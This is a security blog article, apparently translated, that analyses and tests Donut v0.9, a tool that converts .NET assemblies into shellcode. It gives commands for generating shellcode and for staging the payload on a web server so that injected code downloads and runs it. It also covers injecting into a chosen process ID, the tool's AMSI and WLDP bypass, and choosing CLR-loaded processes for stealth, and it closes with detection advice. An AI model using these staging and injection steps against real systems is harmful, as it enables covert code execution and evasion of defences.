0x00 Preface

---

Donut is a shellcode generation tool that can convert .NET assemblies into shellcode. This represents a further exploitation of execute-assembly, offering higher stealth and stronger extensibility.

Combined with byt3bl33d3r's SILENTTRINITY, converting it into shellcode and performing injection broadens its applicability.

This article will test Donut, analyze the code in the Donut project piece by piece, and summarize the characteristics of this tool.

Note:

The version tested in this article uses Donut v0.9. New versions will add more features and are worth continuous attention.

Donut address:

https://github.com/TheWover/donut

Articles detailing Donut:

https://thewover.github.io/Introducing-Donut/

https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

0x01 Introduction

---

This article will cover the following content:

  • Introduction to Related Technologies
  • Source Code Structure
  • Practical Testing
  • Exploitation Analysis

0x02 Introduction to Related Technologies

---

1. Assembly.Load

Used to load .NET assemblies in the current process; cannot inject into other processes.

Test code for .NET assembly:

namespace ConsoleApplication1
{
public class Program
{
public static void test()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
static void Main(string[] args)
{
test();
}
}
}

A calculator will pop up when loading this .NET assembly, used for verification purposes

(1) PowerShell implementation of Assembly.Load

$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()

Note:

Refer to the previous article 'Analysis and Summary of Bypassing Applocker Using Assembly Load & LoadFile'

(2) C# Implementation of Assembly.Load

https://github.com/anthemtotheego/SharpCradle

The code implements downloading a .NET assembly from a remote server and loading it via Assembly.Load

2. execute-assembly

Load .NET assemblies from memory, capable of injecting into other processes in the form of a DLL

Note:

Refer to the previous article 'Analysis of Loading .NET Assemblies from Memory (execute-assembly) for Exploitation'

The entire process executes in memory without writing to the file system (DLL reflection is required for injection at this point)

The payload exists in DLL form and does not generate suspicious processes

Note:

If using LoadLibrary to load a DLL, the DLL must be written to the file system

3.Donut

Based on execute-assembly, implements loading .NET assemblies from memory in the form of shellcode

The advantage is that when injecting into other processes, it no longer relies on DLL reflection, making it more stealthy and easier to extend

More stealthy means no DLL exists when injecting into other processes

Easier to extend means any method capable of executing shellcode can use Donut, and secondary development based on Donut is also straightforward

0x03 Source Code Structure

---

For version 0.9 files

1. Subprojects

1.DemoCreateProcess

https://github.com/TheWover/donut/tree/master/DemoCreateProcess

A C# program that, after compilation, generates the file ClassLibrary.dll, which functions to launch a process using the two passed parameters

Can be converted into shellcode using Donut to test whether Donut's shellcode generation function works

2.DonutTest

https://github.com/TheWover/donut/tree/master/DonutTest

C# program, after compilation generates file DonutTest.exe, used to inject shellcode into a process with specified PID

Implementation details:

Store base64-encrypted shellcode in an array, decrypt it and inject into the specified process via CreateRemoteThread

3.rundotnet.cpp

https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp

C program, compiled file is rundotnet.exe, used to read specified files and load .NET assemblies from memory using CLR

Method for loading .NET assemblies from memory:

  • Use the latest version of .Net in the current system
  • Use ICorRuntimeHost interface
  • Use Load_3(...) to read and load the Main method of .NET assemblies from memory

4.ModuleMonitor

https://github.com/TheWover/donut/tree/master/ModuleMonitor

Use WMI event Win32_ModuleLoadTrace to monitor module loading, will flag if CLR injection is detected

WMI event Win32_ModuleLoadTrace:

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace

Methods for detecting CLR injection in a program:

If a process loads the CLR but the program is not a .NET assembly, then the CLR has been injected into it

Methods for detecting whether a process loads the CLR in a program:

Check if the process has loaded CLR-related DLLs (mscoree.dll, mscoreei.dll, and mscorlib.dll), where the DLL names start with "msco"

This project is generally used for defensive detection to check whether CLR injection events occur in the system. Therefore, after startup, the process runs continuously, recording events of new modules being loaded in real time

Here, tasklist.exe can also achieve similar functionality with the following command:

tasklist /m msco*

This command can identify which processes have called DLLs starting with "msco"

5.ProcessManager

https://github.com/TheWover/donut/tree/master/ProcessManager

Used to enumerate processes on the current or remote computer

Similar to the functionality of tasklist.exe, with the following additional features:

  • Determine process privileges
  • Determine process architecture (32-bit or 64-bit)
  • Determine whether a process has loaded the CLR

2. Components

1. https://github.com/TheWover/donut/blob/master/payload/payload.c

Key functionalities of Donut, implementing the following operations:

(1) Obtain and decrypt shellcode

Two methods are provided:

  • Read shellcode and decryption key from payload.h
  • Download shellcode and decryption key from an HTTP server

(2) Load .NET assemblies from memory using CLR

  • Call the ICLRMetaHost::GetRuntime method to obtain an ICLRRuntimeInfo pointer
  • Use the ICorRuntimeHost interface
  • Attempt to disable AMSI and WLDP
  • Use Load_3(...) to read from memory

Note:

Details on disabling AMSI and WLDP:

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

Noteworthy points:

Typically, using the ICorRuntimeHost interface requires calling mscorlib.tlb

Here, mscorlib.tlb is not used; it is implemented through manual definition

For more details, refer to:

https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

2. https://github.com/TheWover/donut/tree/master/payload/exe2h

Used to convert exe to shellcode and save it into an array

Extract compiled machine code (including dll and decryption key) from the .text section of payload.exe, and save it as an array in payload_exe_x64.h or payload_exe_x86.h

3. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h

Stores 64-bit machine code (including dll and decryption key)

4. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h

Stores 32-bit machine code (including dll and decryption key)

5. https://github.com/TheWover/donut/blob/master/payload/inject.c

Uses RtlCreateUserThread to inject shellcode into a specified process

Can be used to test the functionality of injecting shellcode into a specified process

6.https://github.com/TheWover/donut/blob/master/payload/runsc.c

C/S architecture, two functions: can send and receive shellcode and execute it

Used to test the functionality of payload.bin

7.https://github.com/TheWover/donut/blob/master/encrypt.c

Implementation of symmetric encryption

8.https://github.com/TheWover/donut/blob/master/hash.c

API Hashing, using Maru hash here

9.https://github.com/TheWover/donut/blob/master/donut.c

Main program, used to convert .NET assemblies into shellcode

0x04 Actual Testing

---

1. Select test dll

Using the subproject DemoCreateProcess here

After compilation, generates the file ClassLibrary.dll

2. Use Donut to generate shellcode

64-bit:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

32-bit:

donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

After executing the command, the file payload.bin is generated.

If the -u option is specified to set a URL, an additional Module file with a random name will be generated, as shown in the following example:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1

The files payload.bin and YX63F37T are generated.

Upload YX63F37T to http://192.168.1.1.

Next, execute payload.bin by injecting shellcode. payload.bin will download the actual shellcode from http://192.168.1.1/YX63F37T and execute it.

3. View Process Information

Here, the sub-project ProcessManager is used.

After listing the processes, if the Managed option is True, it indicates that the process has already loaded the CLR.

ProcessManager supports filtering specific processes, for example, to view only the process information of notepad.exe, use the following command:

ProcessManager.exe --name notepad

4. Inject shellcode

Assume the target process is 3306

(1) Using sub-project DonutTest

Base64 encode payload.bin and save it to the clipboard, PowerShell command as follows:

$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

Replace the corresponding variable in the DonutTest project, after successful compilation execute the following command:

DonutTest.exe 3306

(2) Using RtlCreateUserThread

https://github.com/TheWover/donut/blob/master/payload/inject.c

Command as follows:

inject.exe 3306 payload.bin

5. Detection

List processes that have loaded CLR but are not .NET assemblies, command as follows:

tasklist /m msco*

0x05 Exploitation Analysis

---

Donut can convert .NET assemblies into shellcode

This means that programs developed using C# can be converted into shellcode via Donut

Given current trends, open-source C# tools are increasingly prevalent, for example:

  • https://github.com/GhostPack/SharpWMI
  • https://github.com/checkymander/Sharp-WMIExec
  • https://github.com/jnqpblc/SharpTask

In penetration testing, C# will gradually replace PowerShell, and the use of Donut will also become a trend

Exploitation methodology for Donut:

  1. Convert .NET assemblies into shellcode, for instance, for use with SILENTTRINITY
  2. Integrate as a module into other tools
  3. Extended functionality: Supports migrate capabilities similar to meterpreter

For greater stealth, one can first use ProcessManager to enumerate processes that have already loaded the CLR and then inject into them

Detection of Donut:

Donut needs to use CLR to load .NET assemblies from memory. The following detection methods can be employed:

  • The process is not a .NET assembly
  • The process loaded CLR-related DLLs (DLLs starting with "msco")

Note:

Normal programs may also exhibit this behavior

Two detection methods:

  • Use the command: tasklist /m msco*
  • Use WMI event Win32_ModuleLoadTrace to monitor module loading

Focus monitoring on processes meeting the above conditions

0x06 Summary

---

This article conducted testing and analysis on Donut, summarized exploitation ideas, and provided defense recommendations. Donut is worthy of in-depth study, and new versions of Donut are anticipated.